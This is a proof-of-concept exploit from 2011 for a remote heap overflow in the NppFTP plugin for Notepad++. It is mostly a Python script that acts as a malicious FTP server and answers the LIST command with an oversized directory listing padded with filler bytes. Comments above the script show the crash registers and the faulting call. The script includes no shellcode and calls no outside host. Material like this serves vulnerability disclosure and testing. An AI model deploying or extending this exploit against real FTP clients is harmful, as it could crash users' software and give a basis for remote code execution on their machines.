Notepad++ NppFTP Plugin – ‘LIST’ Remote Heap Overflow (PoC)
# Notepad++ NppFTP plugin LIST command Remote Heap Overflow PoC # Date: 17.08.2011 # Author: 0in (Maksymilian Motyl) # Mail: 0in [dot] email /at\ gmail \dot/ com # Software Link: http://notepad-plus-plus.org/ # Vulnerable plugin: http://sourceforge.net/projects/nppftp/ # Version: Tested on nppftp 0.2.3.0 and 0.2.4.0 (newest) # Debug: # EAX 42414141 # ECX 00000ED6 # EDX 024FD99C ASCII "AAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAA" # EBX 42414141 # ESP 000E0F48 # EBP 000E0F70 # ESI 024FD100 # EDI 024FD100 # EIP 6A14D2D7 NppFTP.6A14D2D7 # 6A14D2D7 8B03 MOV EAX,DWORD PTR DS:[EBX] # 6A14D2D9 891C24 MOV DWORD PTR SS:[ESP],EBX # 6A14D2DC FF50 2C CALL DWORD PTR DS:[EAX+2C] <- BOOM # Theoretically its exploitable, but we haven't much available memory to work with, and # all memory is dynamicly located, so all addresses are not static.. import socket import os class ftp_server: def __init__(self): self.host = '0.0.0.0' self.passive_port = 2531 self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.bind(('', 21)) self.sock.listen(1) a = self.passive_port/256 b = self.passive_port%256 self.tuple_port = (a, b) self.host_join = ','.join(self.host.split('.')) self.passive = False def get(self): return self.conn.recv(1024).replace('\r', '').replace('\n', '') def getcwd(self): # return shellcode return "passwords" def put(self, ftr): x = { 150:" Data connection accepted from %s:%s; transfer starting."%(self.host, self.passive_port), 200:" Type okay.", 220:" Server ready.", 226:" Listing completed.", 227:" Entering Passive Mode (%s,%s,%s)"%(self.addr_join, self.tuple_port[0], self.tuple_port[1]), 230:" User logged in, proceed.", 250:' "/%s" is new cwd.'%self.getcwd(), 257:' "/%s" is cwd.'%self.getcwd(), 331:" User name okay, need password.", 502:" Command not implemented.", 551:" Requested action aborted. Page type unknown." }[ftr] s = '%s%s\r\n'%(ftr, x) self.conn.send(s) return s def main(self): self.conn, self.addr = self.sock.accept () self.addr_join = ','.join(self.addr[0].split('.')) self.put(220) while 1: try: data = self.get().upper() except socket.error: self.conn.close() self.sock.shutdown(socket.SHUT_RDWR) if self.passive: self.conn2.close() self.sock2.shutdown(socket.SHUT_RDWR) raise socket.error if data[:4] == 'USER': s = 331 elif data[:4] == 'PASS': s = 230 elif data[:3] == 'PWD': s = 257 elif data[:4] == 'TYPE': s = 200 elif data[:4] == 'PASV': self.sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock2.bind((self.addr[0], self.passive_port)) self.sock2.listen(1) s = self.put(227) self.conn2, addr = self.sock2.accept() self.passive = True s = 0 elif data[:3] == 'CWD': try: s = 250 except OSError: s = 551 elif data[:4] == 'LIST': print "LIST..." s = self.put(150) s = self.passive_do(1) s = self.put(226) s = 0 else: s = 502 if s: s = self.put(s) def passive_do(self, id): print "Sending exploit.." exploit="\x42\x41\x41\x41"*22+"\x42\x41\x41\x41"*53+"C"*400+"D"*4000+"E"*1019+"F"*2000 res = "drwxrwxrwx 5 ftpuser ftpuser 512 Jul 26 "+exploit+" "+"\x95"*18555+"\r\n" self.conn2.send(res) self.conn2.send('\r\n') self.conn2.close() return res print "Notepad++ NppFTP plugin LIST command Remote Heap Overflow PoC by 0in" while 1: try: print "Waiting for target.." ftp_server().main() except socket.error: print "Rebooting server...\n" |